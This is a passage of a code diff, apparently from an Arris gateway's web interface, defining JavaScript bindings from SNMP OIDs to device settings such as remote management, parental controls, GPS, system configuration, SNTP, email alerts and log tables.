=FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 ; +var arFWRemoteMgmtAllowedStartIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 ; +var arFWRemoteMgmtAllowedEndIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 ; +var arFWRemoteMgmtAllowedStartIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 ; +var arFWRemoteMgmtAllowedEndIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 ; +var arFWRemoteMgmtTelnet =FWEnableRemoteMgmt.FWRemoteMgmtTelnet ; + +var CmDoc30Acess = new Container("CmDoc30Acess", "1.3.6.1.4.1.4115.1.3.4.1.2"); +CmDoc30Acess.RemoteMgmtTelnet = new Scalar("RemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.3.4.1.2.2", 2); +CmDoc30Acess.RemoteMgmtSSH = new Scalar("RemoteMgmtSSH", "1.3.6.1.4.1.4115.1.3.4.1.2.10", 2); +var arRemoteMgmtTelnet =CmDoc30Acess.RemoteMgmtTelnet ; +var arRemoteMgmtSSH =CmDoc30Acess.RemoteMgmtSSH ; + + +var FWParentalControls = new Container("FWParentalControls", "1.3.6.1.4.1.4115.1.20.1.1.4.20"); +FWParentalControls.KeywordCount= new Scalar("KeywordCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.1",2); +FWParentalControls.KeywordClear= new Scalar("KeywordClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.2",2); +FWParentalControls.BlackListCount= new Scalar("BlackListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.3",2); +FWParentalControls.BlackListClear= new Scalar("BlackListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.4",2); +FWParentalControls.WhiteListCount= new Scalar("WhiteListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.5",2); +FWParentalControls.WhiteListClear= new Scalar("WhiteListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.6",2); +FWParentalControls.TrustedDeviceCount= new Scalar("TrustedDeviceCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.7",2); +FWParentalControls.TrustedDeviceClear= new Scalar("TrustedDeviceClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.8",2); +FWParentalControls.KeywordTableFreeIdx= new Scalar("KeywordTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.9",2); +FWParentalControls.BlackListFreeIdx= new Scalar("BlackListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.11",2); +FWParentalControls.WhiteListFreeIdx= new Scalar("WhiteListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.13",2); +FWParentalControls.TrustedDeviceFreeIdx= new Scalar("TrustedDeviceFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.15",2); +FWParentalControls.EnableParentalCont= new Scalar("EnableParentalCont","1.3.6.1.4.1.4115.1.20.1.1.4.20.17",2); +FWParentalControls.ManagedSitesEnabled= new Scalar("ManagedSitesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.18",2); +FWParentalControls.ManagedServicesEnabled= new Scalar("ManagedServicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.19",2); +FWParentalControls.ManagedDevicesEnabled= new Scalar("ManagedDevicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.20",2); +var arKeywordCount=FWParentalControls.KeywordCount; +var arKeywordClear=FWParentalControls.KeywordClear; +var arBlackListCount=FWParentalControls.BlackListCount; +var arBlackListClear=FWParentalControls.BlackListClear; +var arWhiteListCount=FWParentalControls.WhiteListCount; +var arWhiteListClear=FWParentalControls.WhiteListClear; +var arTrustedDeviceCount=FWParentalControls.TrustedDeviceCount; +var arTrustedDeviceClear=FWParentalControls.TrustedDeviceClear; +var arKeywordTableFreeIdx=FWParentalControls.KeywordTableFreeIdx; +var arBlackListFreeIdx=FWParentalControls.BlackListFreeIdx; +var arWhiteListFreeIdx=FWParentalControls.WhiteListFreeIdx; +var arTrustedDeviceFreeIdx=FWParentalControls.TrustedDeviceFreeIdx; +var arEnableParentalCont=FWParentalControls.EnableParentalCont; +var arManagedSitesEnabled=FWParentalControls.ManagedSitesEnabled; +var arManagedServicesEnabled=FWParentalControls.ManagedServicesEnabled; +var arManagedDevicesEnabled=FWParentalControls.ManagedDevicesEnabled; + +var KeywordBlkTable = new Table("KeywordBlkTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.10"); +KeywordBlkTable.KeywordBlkIndex = new Column("KeywordBlkIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.1",2); +KeywordBlkTable.KeywordBlkWord = new Column("KeywordBlkWord","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.2",4); +KeywordBlkTable.KeywordBlkTOD = new Column("KeywordBlkTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.3",2); +KeywordBlkTable.KeywordBlkStatus = new Column("KeywordBlkStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.4",2); +KeywordBlkTable.KeywordBlkStartMin = new Column("KeywordBlkStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.5",2); +KeywordBlkTable.KeywordBlkEndMin = new Column("KeywordBlkEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.6",2); +var arKeywordBlkIndex=KeywordBlkTable.KeywordBlkIndex; +var arKeywordBlkWord=KeywordBlkTable.KeywordBlkWord; +var arKeywordBlkTOD=KeywordBlkTable.KeywordBlkTOD; +var arKeywordBlkStatus=KeywordBlkTable.KeywordBlkStatus; +var arKeywordBlkStartMin=KeywordBlkTable.KeywordBlkStartMin; +var arKeywordBlkEndMin=KeywordBlkTable.KeywordBlkEndMin; + +var BlackListTable = new Table("BlackListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.12"); +BlackListTable.BlackListIndex = new Column("BlackListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.1",2); +BlackListTable.BlackListDomain = new Column("BlackListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.2",4); +BlackListTable.BlackListTOD = new Column("BlackListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.3",2); +BlackListTable.BlackListStatus = new Column("BlackListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.4",2); +BlackListTable.BlackListStartMin = new Column("BlackListStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.5",2); +BlackListTable.BlackListEndMin = new Column("BlackListEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.6",2); +var arBlackListIndex=BlackListTable.BlackListIndex; +var arBlackListDomain=BlackListTable.BlackListDomain; +var arBlackListTOD=BlackListTable.BlackListTOD; +var arBlackListStatus=BlackListTable.BlackListStatus; +var arBlackListStartMin=BlackListTable.BlackListStartMin; +var arBlackListEndMin=BlackListTable.BlackListEndMin; + +var WhiteListTable = new Table("WhiteListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.14"); +WhiteListTable.WhiteListIndex = new Column("WhiteListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.1",2); +WhiteListTable.WhiteListDomain = new Column("WhiteListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.2",4); +WhiteListTable.WhiteListTOD = new Column("WhiteListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.3",2); +WhiteListTable.WhiteListStatus = new Column("WhiteListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.4",2); +var arWhiteListIndex=WhiteListTable.WhiteListIndex; +var arWhiteListDomain=WhiteListTable.WhiteListDomain; +var arWhiteListTOD=WhiteListTable.WhiteListTOD; +var arWhiteListStatus=WhiteListTable.WhiteListStatus; + +var TrustedDeviceTable = new Table("TrustedDeviceTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.16"); +TrustedDeviceTable.TrustedDeviceIndex = new Column("TrustedDeviceIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.1",2); +TrustedDeviceTable.TrustedDeviceMAC = new Column("TrustedDeviceMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.2",4, 1); +TrustedDeviceTable.TrustedDeviceStatus = new Column("TrustedDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.3",2); +TrustedDeviceTable.TrustedDeviceName = new Column("TrustedDeviceName","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.4",4); +TrustedDeviceTable.TrustedDeviceAddrType = new Column("TrustedDeviceAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.5",2); +TrustedDeviceTable.TrustedDeviceAddr = new Column("TrustedDeviceAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.6",4, 1); +var arTrustedDeviceIndex=TrustedDeviceTable.TrustedDeviceIndex; +var arTrustedDeviceMAC=TrustedDeviceTable.TrustedDeviceMAC; +var arTrustedDeviceStatus=TrustedDeviceTable.TrustedDeviceStatus; +var arTrustedDeviceName=TrustedDeviceTable.TrustedDeviceName; +var arTrustedDeviceAddrType=TrustedDeviceTable.TrustedDeviceAddrType; +var arTrustedDeviceAddr=TrustedDeviceTable.TrustedDeviceAddr; + +var TrustedDeviceManagedServicesTable = new Table("TrustedDeviceManagedServicesTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.21"); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex = new Column("TrustedDeviceManagedServicesIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.1",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC = new Column("TrustedDeviceManagedServicesMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.2",4, 1); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus = new Column("TrustedDeviceManagedServicesStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.3",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName = new Column("TrustedDeviceManagedServicesName","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.4",4); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType = new Column("TrustedDeviceManagedServicesAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.5",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr = new Column("TrustedDeviceManagedServicesAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.6",4, 1); +var arTrustedDeviceManagedServicesIndex=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex; +var arTrustedDeviceManagedServicesMAC=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC; +var arTrustedDeviceManagedServicesStatus=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus; +var arTrustedDeviceManagedServicesName=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName; +var arTrustedDeviceManagedServicesAddrType=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType; +var arTrustedDeviceManagedServicesAddr=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr; + +// OG1600 GPS support +var GpsCfg = new Container("GpsCfg", "1.3.6.1.4.1.4115.12"); +GpsCfg.GpsScanOnBoot= new Scalar("GpsScanOnBoot","1.3.6.1.4.1.4115.12.1",2); +GpsCfg.GpsScanPeriodically= new Scalar("GpsScanPeriodically","1.3.6.1.4.1.4115.12.2",2); +GpsCfg.GpsPeriodicInterval= new Scalar("GpsPeriodicInterval","1.3.6.1.4.1.4115.12.3",66); +GpsCfg.GpsPeriodicTime= new Scalar("GpsPeriodicTime","1.3.6.1.4.1.4115.12.4",4); +GpsCfg.GpsPowerDownAfterSuccessfulScan= new Scalar("GpsPowerDownAfterSuccessfulScan","1.3.6.1.4.1.4115.12.5",2); +GpsCfg.GpsScanTimeout= new Scalar("GpsScanTimeout","1.3.6.1.4.1.4115.12.6",66); +GpsCfg.GpsScanStatus= new Scalar("GpsScanStatus","1.3.6.1.4.1.4115.12.7",66); +GpsCfg.GpsErrorDetails= new Scalar("GpsErrorDetails","1.3.6.1.4.1.4115.12.8",4); +GpsCfg.GpsLastScanTime= new Scalar("GpsLastScanTime","1.3.6.1.4.1.4115.12.9",4); +GpsCfg.GpsLastSuccessfulScanTime= new Scalar("GpsLastSuccessfulScanTime","1.3.6.1.4.1.4115.12.10",4); +GpsCfg.GpsLockedLatitude= new Scalar("GpsLockedLatitude","1.3.6.1.4.1.4115.12.11",4); +GpsCfg.GpsLockedLongitude= new Scalar("GpsLockedLongitude","1.3.6.1.4.1.4115.12.12",4); +GpsCfg.GpsNumberOfSatellites= new Scalar("GpsNumberOfSatellites","1.3.6.1.4.1.4115.12.13",66); +GpsCfg.GpsReset= new Scalar("GpsReset","1.3.6.1.4.1.4115.12.14",2); +GpsCfg.GpsSuccessfulScanSinceBootup= new Scalar("GpsSuccessfulScanSinceBootup","1.3.6.1.4.1.4115.12.15",2); + +var arGpsScanOnBoot=GpsCfg.GpsScanOnBoot; +var arGpsScanPeriodically=GpsCfg.GpsScanPeriodically; +var arGpsPeriodicInterval=GpsCfg.GpsPeriodicInterval; +var arGpsPeriodicTime=GpsCfg.GpsPeriodicTime; +var arGpsPowerDownAfterSuccessfulScan=GpsCfg.GpsPowerDownAfterSuccessfulScan; +var arGpsScanTimeout=GpsCfg.GpsScanTimeout; +var arGpsScanStatus=GpsCfg.GpsScanStatus; +var arGpsErrorDetails=GpsCfg.GpsErrorDetails; +var arGpsLastScanTime=GpsCfg.GpsLastScanTime; +var arGpsLastSuccessfulScanTime=GpsCfg.GpsLastSuccessfulScanTime; +var arGpsLockedLatitude=GpsCfg.GpsLockedLatitude; +var arGpsLockedLongitude=GpsCfg.GpsLockedLongitude; +var arGpsNumberOfSatellites=GpsCfg.GpsNumberOfSatellites; +var arGpsReset=GpsCfg.GpsReset; +var arGpsSuccessfulScanSinceBootup=GpsCfg.GpsSuccessfulScanSinceBootup; + +var SysCfg = new Container("SysCfg", "1.3.6.1.4.1.4115.1.20.1.1.5"); +SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4); +SysCfg.AdminTimeout= new Scalar("AdminTimeout","1.3.6.1.4.1.4115.1.20.1.1.5.2",66); +SysCfg.TimeZoneUTCOffset= new Scalar("TimeZoneUTCOffset","1.3.6.1.4.1.4115.1.20.1.1.5.3",2); +SysCfg.Reboot= new Scalar("Reboot","1.3.6.1.4.1.4115.1.20.1.1.5.4",2); +SysCfg.Defaults= new Scalar("Defaults","1.3.6.1.4.1.4115.1.20.1.1.5.5",2); +SysCfg.Language= new Scalar("Language","1.3.6.1.4.1.4115.1.20.1.1.5.6",4); +SysCfg.Name= new Scalar("Name","1.3.6.1.4.1.4115.1.20.1.1.5.7",4); +SysCfg.SerialNumber= new Scalar("SerialNumber","1.3.6.1.4.1.4115.1.20.1.1.5.8",4); +SysCfg.BootCodeVersion= new Scalar("BootCodeVersion","1.3.6.1.4.1.4115.1.20.1.1.5.9",4); +SysCfg.HardwareVersion= new Scalar("HardwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.10",4); +SysCfg.FirmwareVersion= new Scalar("FirmwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.11",4); +SysCfg.LogLevel= new Scalar("LogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.12",2); +SysCfg.CustomSettings= new Scalar("CustomSettings","1.3.6.1.4.1.4115.1.20.1.1.5.13",4,1); +SysCfg.CustomID= new Scalar("CustomID","1.3.6.1.4.1.4115.1.20.1.1.5.14",2); +SysCfg.CurrentTime= new Scalar("CurrentTime","1.3.6.1.4.1.4115.1.20.1.1.5.15",4,1); +SysCfg.TACACSAddr= new Scalar("TACACSAddr","1.3.6.1.4.1.4115.1.20.1.1.5.20",4,1); +SysCfg.TACACSPort= new Scalar("TACACSPort","1.3.6.1.4.1.4115.1.20.1.1.5.21",2); +SysCfg.TACACSSecretKey= new Scalar("TACACSSecretKey","1.3.6.1.4.1.4115.1.20.1.1.5.22",4,1); +SysCfg.XmlProvisioningFile= new Scalar("XmlProvisioningFile","1.3.6.1.4.1.4115.1.20.1.1.5.23",4); +SysCfg.XmlProvisioningStatus= new Scalar("XmlProvisioningStatus","1.3.6.1.4.1.4115.1.20.1.1.5.24",2); +SysCfg.BlockNonArrisDevices= new Scalar("BlockNonArrisDevices","1.3.6.1.4.1.4115.1.20.1.1.5.26",2); +SysCfg.DHCPLogLevel= new Scalar("DHCPLogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.27",2); +SysCfg.TechnicianName= new Scalar("TechnicianName","1.3.6.1.4.1.4115.1.20.1.1.5.28",4); +SysCfg.EnableLanEtherPrivateWanBlock= new Scalar("EnableLanEtherPrivateWanBlock","1.3.6.1.4.1.4115.1.20.1.1.5.29",2); +SysCfg.TACACSIPAddrType= new Scalar("TACACSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.30",2); +SysCfg.TACACSIPAddr= new Scalar("TACACSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.5.31",4,1); +SysCfg.EnabledInterfaces= new Scalar("EnabledInterfaces","1.3.6.1.4.1.4115.1.20.1.1.5.32",2); +SysCfg.EnabledInterfacesString= new Scalar("EnabledInterfacesString","1.3.6.1.4.1.4115.1.20.1.1.5.33",4); +SysCfg.InboundTrafficLogEnable= new Scalar("InboundTrafficLogEnable","1.3.6.1.4.1.4115.1.20.1.1.5.34",2); +SysCfg.NATPBypassEnable= new Scalar("NATPBypassEnable","1.3.6.1.4.1.4115.1.20.1.1.5.35",2); +SysCfg.NATDebug= new Scalar("NATDebug","1.3.6.1.4.1.4115.1.20.1.1.5.36",2); +SysCfg.DisableResetButton= new Scalar("DisableResetButton","1.3.6.1.4.1.4115.1.20.1.1.5.37",2); +SysCfg.DHCPOption43Sub2= new Scalar("DHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.38",4,1); +SysCfg.DHCPOption43Sub3= new Scalar("DHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.39",4,1); +SysCfg.ESTBDHCPOption43Sub2= new Scalar("ESTBDHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.40",4,1); +SysCfg.ESTBDHCPOption43Sub3= new Scalar("ESTBDHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.41",4,1); +SysCfg.ClientTrackingEnable= new Scalar("ClientTrackingEnable","1.3.6.1.4.1.4115.1.20.1.1.5.43",2); +SysCfg.SystemFlags= new Scalar("SystemFlags","1.3.6.1.4.1.4115.1.20.1.1.5.44",2); +SysCfg.CpuSpeed= new Scalar("CpuSpeed","1.3.6.1.4.1.4115.1.20.1.1.5.64",2); +SysCfg.FlashSize= new Scalar("FlashSize","1.3.6.1.4.1.4115.1.20.1.1.5.52",2); +SysCfg.RamSize= new Scalar("RamSize","1.3.6.1.4.1.4115.1.20.1.1.5.53",2); +SysCfg.SaveCurrentConfigFile= new Scalar("SaveCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.57",2); +SysCfg.RestoreCurrentConfigFile= new Scalar("RestoreCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.58",2); +SysCfg.FlashAvailSize= new Scalar("FlashAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.60",2); +SysCfg.RamAvailSize= new Scalar("RamAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.61",2); +var arAdminPassword=SysCfg.AdminPassword; +var arAdminTimeout=SysCfg.AdminTimeout; +var arTimeZoneUTCOffset=SysCfg.TimeZoneUTCOffset; +var arReboot=SysCfg.Reboot; +var arDefaults=SysCfg.Defaults; +var arLanguage=SysCfg.Language; +var arName=SysCfg.Name; +var arSerialNumber=SysCfg.SerialNumber; +var arBootCodeVersion=SysCfg.BootCodeVersion; +var arHardwareVersion=SysCfg.HardwareVersion; +var arFirmwareVersion=SysCfg.FirmwareVersion; +var arLogLevel=SysCfg.LogLevel; +var arCustomSettings=SysCfg.CustomSettings; +var arCustomID=SysCfg.CustomID; +var arCurrentTime=SysCfg.CurrentTime; +var arTACACSAddr=SysCfg.TACACSAddr; +var arTACACSPort=SysCfg.TACACSPort; +var arTACACSSecretKey=SysCfg.TACACSSecretKey; +var arXmlProvisioningFile=SysCfg.XmlProvisioningFile; +var arXmlProvisioningStatus=SysCfg.XmlProvisioningStatus; +var arBlockNonArrisDevices=SysCfg.BlockNonArrisDevices; +var arDHCPLogLevel=SysCfg.DHCPLogLevel; +var arTechnicianName=SysCfg.TechnicianName; +var arEnableLanEtherPrivateWanBlock=SysCfg.EnableLanEtherPrivateWanBlock; +var arTACACSIPAddrType=SysCfg.TACACSIPAddrType; +var arTACACSIPAddr=SysCfg.TACACSIPAddr; +var arEnabledInterfaces=SysCfg.EnabledInterfaces; +var arEnabledInterfacesString=SysCfg.EnabledInterfacesString; +var arInboundTrafficLogEnable=SysCfg.InboundTrafficLogEnable; +var arNATPBypassEnable=SysCfg.NATPBypassEnable; +var arNATDebug=SysCfg.NATDebug; +var arDisableResetButton=SysCfg.DisableResetButton; +var arDHCPOption43Sub2=SysCfg.DHCPOption43Sub2; +var arDHCPOption43Sub3=SysCfg.DHCPOption43Sub3; +var arESTBDHCPOption43Sub2=SysCfg.ESTBDHCPOption43Sub2; +var arESTBDHCPOption43Sub3=SysCfg.ESTBDHCPOption43Sub3; +var arClientTrackingEnable=SysCfg.ClientTrackingEnable; +var arSystemFlags=SysCfg.SystemFlags; +var arCpuSpeed=SysCfg.CpuSpeed; +var arFlashSize=SysCfg.FlashSize; +var arRamSize=SysCfg.RamSize; +var arSaveCurrentConfigFile=SysCfg.SaveCurrentConfigFile; +var arRestoreCurrentConfigFile=SysCfg.RestoreCurrentConfigFile; +var arFlashAvailSize=SysCfg.FlashAvailSize; +var arRamAvailSize=SysCfg.RamAvailSize; + +var AuthTable = new Table("AuthTable", "1.3.6.1.4.1.4115.1.20.1.1.5.16"); +AuthTable.AuthIndex = new Column("AuthIndex","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.1",66); +AuthTable.AuthUserName = new Column("AuthUserName","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.2",4); +AuthTable.AuthPassword = new Column("AuthPassword","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.3",4); +AuthTable.AuthType = new Column("AuthType","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.4",4,1); +var arAuthIndex=AuthTable.AuthIndex; +var arAuthUserName=AuthTable.AuthUserName; +var arAuthPassword=AuthTable.AuthPassword; +var arAuthType=AuthTable.AuthType; + +var SNTPSettings = new Container("SNTPSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.17"); +SNTPSettings.EnableSNTP= new Scalar("EnableSNTP","1.3.6.1.4.1.4115.1.20.1.1.5.17.1",2); +SNTPSettings.ApplySNTPSettings= new Scalar("ApplySNTPSettings","1.3.6.1.4.1.4115.1.20.1.1.5.17.2",2); +SNTPSettings.SNTPTableFreeIdx= new Scalar("SNTPTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.5.17.3",2); +var arEnableSNTP=SNTPSettings.EnableSNTP; +var arApplySNTPSettings=SNTPSettings.ApplySNTPSettings; +var arSNTPTableFreeIdx=SNTPSettings.SNTPTableFreeIdx; + +var SNTPServerTable = new Table("SNTPServerTable", "1.3.6.1.4.1.4115.1.20.1.1.5.17.4"); +SNTPServerTable.SNTPServerIndex = new Column("SNTPServerIndex","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.1",2); +SNTPServerTable.SNTPServerAddrType = new Column("SNTPServerAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.2",2); +SNTPServerTable.SNTPServerAddr = new Column("SNTPServerAddr","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.3",4,1); +SNTPServerTable.SNTPServerName = new Column("SNTPServerName","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.4",4); +SNTPServerTable.SNTPServerStatus = new Column("SNTPServerStatus","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.5",2); +var arSNTPServerIndex=SNTPServerTable.SNTPServerIndex; +var arSNTPServerAddrType=SNTPServerTable.SNTPServerAddrType; +var arSNTPServerAddr=SNTPServerTable.SNTPServerAddr; +var arSNTPServerName=SNTPServerTable.SNTPServerName; +var arSNTPServerStatus=SNTPServerTable.SNTPServerStatus; + +var EmailSettings = new Container("EmailSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.18"); +EmailSettings.EmailServerName= new Scalar("EmailServerName","1.3.6.1.4.1.4115.1.20.1.1.5.18.1",4); +EmailSettings.EmailServerUser= new Scalar("EmailServerUser","1.3.6.1.4.1.4115.1.20.1.1.5.18.2",4); +EmailSettings.EmailServerPW= new Scalar("EmailServerPW","1.3.6.1.4.1.4115.1.20.1.1.5.18.3",4); +EmailSettings.EmailAddress= new Scalar("EmailAddress","1.3.6.1.4.1.4115.1.20.1.1.5.18.4",4,1); +EmailSettings.EnableLogEmail= new Scalar("EnableLogEmail","1.3.6.1.4.1.4115.1.20.1.1.5.18.5",2); +EmailSettings.EmailApplySettings= new Scalar("EmailApplySettings","1.3.6.1.4.1.4115.1.20.1.1.5.18.6",2); +// scm x2 lines +EmailSettings.EmailSenderAddress = new Scalar("EmailSenderAddress", "1.3.6.1.4.1.4115.1.20.1.1.5.18.8",4); +var arEmailSenderAddress =EmailSettings.EmailSenderAddress ; + +var arEmailServerName=EmailSettings.EmailServerName; +var arEmailServerUser=EmailSettings.EmailServerUser; +var arEmailServerPW=EmailSettings.EmailServerPW; +var arEmailAddress=EmailSettings.EmailAddress; +var arEnableLogEmail=EmailSettings.EnableLogEmail; +var arEmailApplySettings=EmailSettings.EmailApplySettings; + +// scm new container. +var EmailNotifys = new Container("EmailNotifys", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7"); +EmailNotifys.EmailNotifyTypeFW = new Scalar("EmailNotifyTypeFW", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.1",2); +EmailNotifys.EmailNotifyTypePC = new Scalar("EmailNotifyTypePC", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.2",2); +EmailNotifys.EmailNotifyTypeAlert = new Scalar("EmailNotifyTypeAlert", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.3",2); +EmailNotifys.EmailNotifyTypeWarning = new Scalar("EmailNotifyTypeWarning", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.4",2); +var arEmailNotifyTypeFW =EmailNotifys.EmailNotifyTypeFW ; +var arEmailNotifyTypePC =EmailNotifys.EmailNotifyTypePC ; +var arEmailNotifyTypeAlert =EmailNotifys.EmailNotifyTypeAlert ; +var arEmailNotifyTypeWarning =EmailNotifys.EmailNotifyTypeWarning ; + + +var LogSettings = new Container("LogSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.19"); +LogSettings.ClearLogs= new Scalar("ClearLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.3",2); +LogSettings.ChangeLogFilter= new Scalar("ChangeLogFilter","1.3.6.1.4.1.4115.1.20.1.1.5.19.4",2); +var arClearLogs=LogSettings.ClearLogs; +var arChangeLogFilter=LogSettings.ChangeLogFilter; + +var UserLogs = new Container("UserLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1"); + +var FirewallLogTable = new Table("FirewallLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1"); +FirewallLogTable.FWLogIndex = new Column("FWLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.1",2); +FirewallLogTable.FWLogTime = new Column("FWLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.2",4, 1); +FirewallLogTable.FWLogInfo = new Column("FWLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.3",4); +var arFWLogIndex=FirewallLogTable.FWLogIndex; +var arFWLogTime=FirewallLogTable.FWLogTime; +var arFWLogInfo=FirewallLogTable.FWLogInfo; + +var ParentalContLogTable = new Table("ParentalContLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2"); +ParentalContLogTable.PCLogIndex = new Column("PCLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.1",2); +ParentalContLogTable.PCLogTime = new Column("PCLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.2",4, 1); +ParentalContLogTable.PCLogInfo = new Column("PCLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.3",4); +ParentalContLogTable.PCLogType = new Column("PCLogType","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.4",2); +var arPCLogIndex=ParentalContLogTable.PCLogIndex; +var arPCLogTime=ParentalContLogTable.PCLogTime; +var arPCLogInfo=ParentalContLogTable.PCLogInfo; +var arPCLogType=ParentalContLogTable.PCLogType; + +var ChangeLogTable = new Table("ChangeLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3"); +ChangeLogTable.ChangeLogIndex = new Column("ChangeLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.1",2); +ChangeLogTable.ChangeLogTime = new Column("ChangeLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.2",4,1); +ChangeLogTable.ChangeLogInfo = new Column("ChangeLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.3",4); +var arChangeLogIndex=ChangeLogTable.ChangeLogIndex; +var arChangeLogTime=ChangeLogTable.ChangeLogTime; +var 